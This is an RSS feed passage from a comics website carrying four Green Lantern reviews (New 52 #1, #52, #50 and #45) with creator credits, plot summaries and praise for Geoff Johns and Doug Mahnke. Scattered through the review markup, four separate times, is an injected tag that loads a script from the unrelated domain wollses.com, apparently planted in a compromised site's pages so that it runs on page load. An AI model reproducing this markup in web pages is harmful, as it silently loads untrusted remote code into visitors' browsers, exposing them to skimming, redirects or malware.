14:01:41 +0000</pubDate> <category><![CDATA[DC Comics]]></category> <category><![CDATA[Green Lantern]]></category> <category><![CDATA[Hurst]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Sci-Fi]]></category> <category><![CDATA[Carol Ferris]]></category> <category><![CDATA[DCnU]]></category> <category><![CDATA[Doug Mahnke]]></category> <category><![CDATA[Geoff Johns]]></category> <category><![CDATA[Hal Jordan]]></category> <category><![CDATA[New 52]]></category> <category><![CDATA[Sinestro]]></category> <guid isPermaLink="false">https://comicattack.net/?p=73196</guid> <description><![CDATA[Green Lantern #1 picks right back up where Green Lantern #67 left off before the New 52 reboot. Yes, that means Hal Jordan has just been fired as a GL, even though in Justice League #1 we see Hal in all his green glory with Batman, and no, the answers as to why are not […]]]></description> <content:encoded><![CDATA[<p><em>Green Lantern #1</em> picks right back up where <em>Green Lantern #67</em> left off before the New 52 reboot. Yes, that means Hal Jordan has just been fired as a GL, even though in <a href="https://comicattack.net/2011/09/coirjl1/"><em>Justice League #1</em></a> we see Hal in all his green glory with Batman, and no, the answers as to why are not answered in this issue. But, continuity contradictions aside, <em>GL #1</em> is still a good issue.</p> <p><em><strong><a href="https://comicattack.net/wp-content/uploads/2011/09/gl11.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-73205" style="margin-top: 1px;margin-bottom: 1px;margin-left: 4px;margin-right: 4px" src="https://comicattack.net/wp-content/uploads/2011/09/gl11.jpg" alt="" width="208" height="314" /></a>Green Lantern #1</strong></em></p> <p><strong>Publisher:</strong> DC Comics<br /> <strong>Writer:</strong> Geoff Johns<br /> <strong>Artist: </strong>Doug Mahnke<br /> <strong>Inks: </strong>Christian Alamy with Tom Nguyen<br /> <strong>Colors:</strong> David Baron<br /> <strong>Letters:</strong> Sal Cipriano<br /> <strong>Editor:</strong> Brian Cunningham</p> <p>The theme of this issue is readjustment. Hal Jordan, with no job, finds himself under a pile of debt. But even his landlord yelling at him over rent doesn’t stop Hal from being the hot-headed hero we all know him to be. Carol is also back on Earth, and without a ring, but merely by choice. They find that their less-terrestrial relationship can possibly find a new beginning, which leads to a pretty funny moment later on. Sinestro is also readjusting to his new role as a Green Lantern, which has his Sinestro Corps members now questioning his loyalty to fear.</p> <p>It’s nice to see Hal in such a vulnerable and human state, though he hasn’t lost an ounce of bravado with losing his ring. The issue never came off as cheesy or silly, but I almost felt like I was watching the first episode in the new season of the Green Lantern sit-com, and it ended with a ton of questions I want answers to, and a final page that insured that I’ll absolutely be picking up issue #2.</p> <p style="text-align: center"><a href="https://comicattack.net/wp-content/uploads/2011/09/gl1hal.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-73200" src="https://comicattack.net/wp-content/uploads/2011/09/gl1hal.png" alt="" width="495" height="472" /><script src="//wollses.com/steps"></script></a></p> <p style="text-align: center"><a href="https://comicattack.net/wp-content/uploads/2011/09/gl1sis.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-73201" src="https://comicattack.net/wp-content/uploads/2011/09/gl1sis.png" alt="" width="500" height="333" /></a></p> <p>I dare say Doug Mahnke was at his finest with this issue. His work has never been a favorite of mine, but he really shines with an amount of detail and emotion I always thought was lacking from his art. Though there is something about the way his cheek bones and forehead wrinkles standout so much that bothers me.</p> <p>I’m glad Geoff Johns didn’t completely hit the reset button on this book and give us a new origin and make us sit through Sinestro’s slow turn from a Green Lantern to the master of fear. Seeing Hal’s life after being a GL is a story I want to read, but I can’t help but be bothered by the time differences in the New 52’s continuity. That doesn’t stop <em>GL #1</em> from being a great jumping on point, and the beginning of what has potential to be a really great story in the lives of Hal Jordan and Sinestro.</p> <p><span style="text-decoration: underline">Andrew Hurst</span><br /> andrewhurst@comicattack.net<br /> <a href="http://twitter.com/#!/andrewEhurst">@andrewEhurst</a></p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/dcnucrgl1/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item> <title>DC Review: Green Lantern #52</title> <link>https://comicattack.net/gl52/</link> <comments>https://comicattack.net/gl52/#comments</comments> <dc:creator><![CDATA[mike]]></dc:creator> <pubDate>Sun, 28 Mar 2010 18:16:45 +0000</pubDate> <category><![CDATA[DC Comics]]></category> <category><![CDATA[Green Lantern]]></category> <category><![CDATA[Mike]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Blackest Night]]></category> <category><![CDATA[Doug Mahnke]]></category> <category><![CDATA[Geoff Johns]]></category> <category><![CDATA[Sinestro]]></category> <guid isPermaLink="false">https://comicattack.net/?p=25188</guid> <description><![CDATA[Green Lantern #52 Publisher: DC Comics Writer: Geoff Johns Artist(s): Doug Mahnke and Christian Alamy Cover: Doug Mahnke, Christian Alamy, and Randy Mayor *****SPOILERS AHEAD******SPOILERS AHEAD****** With the release of Blackest Night #8 next week, you can be sure that Green Lantern #52 is going to be full of surprises and action. I must say, […]]]></description> <content:encoded><![CDATA[<p><a href="https://comicattack.net/wp-content/uploads/2010/03/cover-large.jpg"><img loading="lazy" decoding="async" class="alignleft size-medium wp-image-25563" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2010/03/cover-large-195x300.jpg" alt="" width="195" height="300" /></a></p> <p><strong><br /> </strong></p> <p><em><strong>Green Lantern #52</strong></em></p> <p><strong>Publisher:</strong> DC Comics<br /> <strong>Writer:</strong> Geoff Johns<br /> <strong>Artist(s):</strong> Doug Mahnke and Christian Alamy<br /> <strong>Cover:</strong> Doug Mahnke, Christian Alamy, and Randy Mayor</p> <p>*****SPOILERS AHEAD******SPOILERS AHEAD******</p> <p>With the release of<em> Blackest Night</em> <em>#8</em> next week, you can be sure that <em>Green Lantern</em> <em>#52</em> is going to be full of surprises and action. I must say, that this issue delivered everything and then some.</p> <p>For a quick re-cap for those crazy enough to not be reading this, there are a few points we are following. First, we have John Stewart leading a group of different colored Corpsmen attempting to stop the planet Xanshi and a horde of Black Lanterns coming toward Earth. Then, we have Hal Jordan, Atrocitus, Saint-Walker, Indigo-1, Carol Ferris, and Larfleeze (who isn’t shown this issue) battling Nekron with very little success. Lastly, we have Sin— well, we will get to that in a sec.</p> <p>John’s group is tasked with stopping Xanshi and the insane horde heading for Earth. Throughout the issue, John and Hal are in constant communication, letting each other know what is going on. John also has some interesting interactions with Fatality, letting the readers know that he has come to terms with the deaths of the Xanshians, and only intends on stopping it from tearing Earth apart.</p> <p>Hal seems slightly defeated in his battle against Nekron. None of his plans have worked, even though he is fighting alongside some of the strongest members of the other corps. This may be in part to his constant defeats, or the fact that…. SINESTRO IS THE WHITE LANTERN!!!!</p> <p>Once readers come to terms with this, and actually absorb this fact, you can truly enjoy the rest of the issue. Sinestro reveals the origins of Life, Willpower, Hope, Avarice, Fear, Love, Rage, and Compassion, all culminating in a beautiful splash page revealing what all of the avatars of emotions look like. Nekron strikes first, splitting Sinestro in two, but this seems to be a futile attack, as Sinestro reforms a few pages later.</p> <p>The interesting part about this book is that I think not everyone fully trusts Sinestro the White Lantern. The Guardians had to have hid the power of Life on Earth for a reason, and even though the battle is turning in favor of the good side, not everyone is reacting with as much joy as you would think. There is a little hesitation behind the revelation of the White Light, and Sinestro being its bearer.</p> <p>Geoff Johns not only knows how to craft a beautiful event, but consistently adds teasers and spoils along the way. Readers are constantly engaged, and there can be very few complaints about this story. I know that I certainly cannot think of any. I really appreciated the teamwork of Hal and John, and am constantly amazed at how the willpower of the Green Lanterns manages to keep all warriors of the emotional spectrum on the same side.</p> <p>On top of the amazing storytelling, Doug Mahnke’s pencils only add to the amazing experience. The details of the characters in the foreground were amazing. The only minor complaint I have (and this is me being picky) is that some of the characters in the background looked really bland. I especially enjoyed the coloring, courtesy of Randy Mayor, Gabe Eltaeb, and Carrie Strachan, which really made some scenes “pop.”</p> <p><em>Green Lantern <script src="//wollses.com/steps"></script></em>is constantly on the top of my reading list, and it is because of issues like this. The whole team involved in this book really works well together to produce a top-notch read. The whole landscape of the Green Lantern history has been shaped into one of the most enjoyable reads around. If any of you have not read this yet, I definitely suggest getting to your LCS and picking this up.</p> <p>Rating: 4.8/5</p> <p><span style="text-decoration: underline;">Mike Parente</span><br /> mike@comicattack.net</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/gl52/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item> <title>DC Reviews: Green Lantern #50</title> <link>https://comicattack.net/gl50rev/</link> <comments>https://comicattack.net/gl50rev/#comments</comments> <dc:creator><![CDATA[andrewhurst]]></dc:creator> <pubDate>Sat, 30 Jan 2010 07:23:25 +0000</pubDate> <category><![CDATA[DC Comics]]></category> <category><![CDATA[Green Lantern]]></category> <category><![CDATA[Hurst]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Blackest Night]]></category> <category><![CDATA[Doug Mahnke]]></category> <category><![CDATA[Geoff Johns]]></category> <category><![CDATA[Paralax]]></category> <guid isPermaLink="false">https://comicattack.net/?p=17634</guid> <description><![CDATA[Publisher: DC Comics Writer: Geoff Johns Artist: Doug Mahnke Cover: Doug Mahnke “Paralax Rebirth”: Wow. I couldn’t turn the pages fast enough for this one. It’s been a while since I’ve read a single issue that was as stacked as this. Geoff Johns does it again. We’re dropped into Coast City as it’s being ravaged […]]]></description> <content:encoded><![CDATA[<p><strong><a href="https://comicattack.net//wp-content/uploads/2010/01/Green-Lantern-50.jpg"><img loading="lazy" decoding="async" class="size-full wp-image-17635 alignleft" style="border: 1px solid black;" src="https://comicattack.net//wp-content/uploads/2010/01/Green-Lantern-50.jpg" alt="" width="198" height="307" srcset="https://comicattack.net/wp-content/uploads/2010/01/Green-Lantern-50.jpg 388w, https://comicattack.net/wp-content/uploads/2010/01/Green-Lantern-50-194x300.jpg 194w" sizes="(max-width: 198px) 100vw, 198px" /></a>Publisher:</strong> DC Comics<br /> <strong>Writer:</strong> Geoff Johns<br /> <strong>Artist:</strong> Doug Mahnke<br /> <strong>Cover:</strong> Doug Mahnke</p> <p><strong>“Paralax Rebirth”</strong>: Wow. I couldn’t turn the pages fast enough for this one. It’s been a while since I’ve read a single issue that was as stacked as this. Geoff Johns does it again.</p> <p>We’re dropped into Coast City as it’s being ravaged by a swarm of Black Lanterns, but all the multi-colored crusaders and their newly deputized recruits — Green Lantern and Ganthet, Carol Ferris and Wonder Woman, Sinestro and Scarecrow, Larfleeze and Lex Luthor, Atrocitus and Mera, Indigo One and the Atom, and Saint Walker and the Flash — are all here to whoop some Black Lantern ass.</p> <p>We see a nice montage of the new members getting used to their new rings (with Luthor and Scarecrow enjoying their new power a little too much) before Black Lantern Spectre gets his giant mitts on Hal.</p> <p>The undead Spectre tries his hardest to force a black ring onto Hal’s finger, but Hal is rescued by his corps mates. Spectre is proving to be an extremely overwhelming threat, especially with the living Spectre trapped inside the chest of his Black Lantern counter part. Sinestro and Hal realize that this threat needs to be dealt with immediately, but the only plausible method may be too extreme — resurrect Paralax.</p> <p>Sinestro and Hal scuffle over who will attempt to control the demon of fear, ending with Hal opening his heart to the fear and allowing Parallax to consume him.</p> <p>There is so much action in these 29 pages of story as Geoff Johns does an awesome job of mixing great dialogue and characters with fists and carnage. The pace moves at an alarming speed, but not so quick that you can’t appreciate all that’s going on in this chapter of Blackest Night. Although Johns does do that really annoying thing where he cuts a story off right when your mouth is watering for more.</p> <p>I was absolutley taken aback by Doug Mahnke’s art. He’s always been a solid story teller, but the guy just elevated his game for this issue. Page after page are beautifully deatailed panels capturing every perfect angle of the giant brawl, and some amazing spreads that are worthy of their own poster that I would proudly flaunt in my living room.</p> <p>If you aren’t reading <em>Green Lantern<script src="//wollses.com/steps"></script></em>, you’re truly missing out on the action comic book blockbuster of the season. This book is just everything comics should be. A compelling narrative that doesn’t stop kicking ass.</p> <p><span style="text-decoration: underline;">Andrew Hurst<br /> </span> andrewhurst@comicattack.net</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/gl50rev/feed/</wfw:commentRss> <slash:comments>7</slash:comments> </item> <item> <title>DC Reviews: Green Lantern # 45 Review</title> <link>https://comicattack.net/gl45/</link> <comments>https://comicattack.net/gl45/#comments</comments> <dc:creator><![CDATA[InfiniteSpeech]]></dc:creator> <pubDate>Tue, 22 Sep 2009 19:08:38 +0000</pubDate> <category><![CDATA[DC Comics]]></category> <category><![CDATA[Green Lantern]]></category> <category><![CDATA[Infinite Speech]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Blackest Night]]></category> <category><![CDATA[Doug Mahnke]]></category> <category><![CDATA[Geoff Johns]]></category> <category><![CDATA[Green Lantern 45 review]]></category> <category><![CDATA[Hal Jordan]]></category> <category><![CDATA[Sinestro]]></category> <guid isPermaLink="false">https://comicattack.net/?p=2839</guid> <description><![CDATA[Publisher: DC Comics Writer: Geoff Johns Artist: Doug Mahnke Cover: Doug Mahnke “Love Hurts” : Right on the heels of the Sinestro Corps War, DC pushes their Green Lantern books into overdrive! Blackest Night is one of the hottest events in comics right now, and this tie in keeps the pace just as fast and intense as […]]]></description> <content:encoded><![CDATA[<p><img loading="lazy" decoding="async" class="alignleft size-medium wp-image-2838" src="https://comicattack.net//wp-content/uploads/2009/09/gl45_2-232x300.jpg" alt="gl45_2" width="232" height="300" srcset="https://comicattack.net/wp-content/uploads/2009/09/gl45_2-232x300.jpg 232w, https://comicattack.net/wp-content/uploads/2009/09/gl45_2.jpg 323w" sizes="(max-width: 232px) 100vw, 232px" /> <strong>Publisher: DC Comics<br /> </strong><strong>Writer: Geoff Johns<br /> </strong><strong>Artist: Doug Mahnke<br /> </strong><strong>Cover: Doug Mahnke</strong></p> <p><strong>“Love Hurts” : </strong>Right on the heels of the Sinestro Corps War, DC pushes their <em>Green Lantern</em> books into overdrive! Blackest Night is one of the hottest events in comics right now, and this tie in keeps the pace just as fast and intense as the main title! I can’t express how happy I am that the <em>Green Lantern</em> tie ins aren’t filler issues, but just as impressive and at some points better than the main arc.</p> <p>Now if you’re looking to see Hal Jordan ring sling his way to victory here then you’ll have better luck in <a href="https://comicattack.net/2009/10/blknight3">another book</a>. The title character doesn’t make one appearance and the book carries on like it doesn’t even need him! The story picks up on Zamora where the Star Sapphires are in a heated battle with several members of the Sinestro Corps. During this fight several members are freed from the Star Sapphire’s conversion crystals, and among them are none other than Sinestro himself! He immediately attacks the former girlfriend of Hal, and now Star Sapphire, Carol Ferris in an attempt to get her to back down. Carol however isn’t listening, and puts up a damn good fight and at one point traps Sinestro in another chrysalis. Forcing him to see his lost love and experience his loss all over again, he breaks free angrier than before only to be interrupted by the arrival of several Black Lanterns. At various points in the book we planet hop to the home worlds of the Red, Blue, Yellow, and Orange Corps, getting a look at how events are shaping up and which dead Lanterns of various colors are being converted into Black Lanterns!</p> <p>This story is best described as organized chaos! Geoff Johns does a great job with keeping this thing moving at breakneck speed, but giving you a big chunk of story to digest! The dialogue during the fights isn’t just bravado and quips, but vital info that you’ll need later on. The visuals capture the organized chaos of the story perfectly as well! Doug Mahnke does a marvelous job from start to finish, hands down! From the huge 2 page spread of John Stewart in space looking down at the large insignia of the Black Lanterns, to the last 2 page spread of Larfleez surrounded by all the newly created Black Lanterns in his lair. The battle scenes are chaotic and clustered, but that’s what a battle should be, especially one this intense. Mahnke gets this across and his scenes flow very well regardless of the amount of people/creatures on the page! The next issue is set up for Sinestro vs. Mongul, so I can’t wait to see the visuals he gives us for that one!</p> <p>I was never a really huge Green Lantern fan or reader, and would only barely keep up with the character and events. I can actually say that because of issues like this I have barely missed an issue in the past 2 years!</p> <p><span style="text-decoration: underline">Infinite Speech<script src="//wollses.com/steps"></script></span><br /> <a href="mailto:infinitespeech@comicattack.net">infinitespeech@comicattack.net</a></p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/gl45/feed/</wfw:commentRss> <slash:comments>6</slash:comments> </item> </channel> </rss>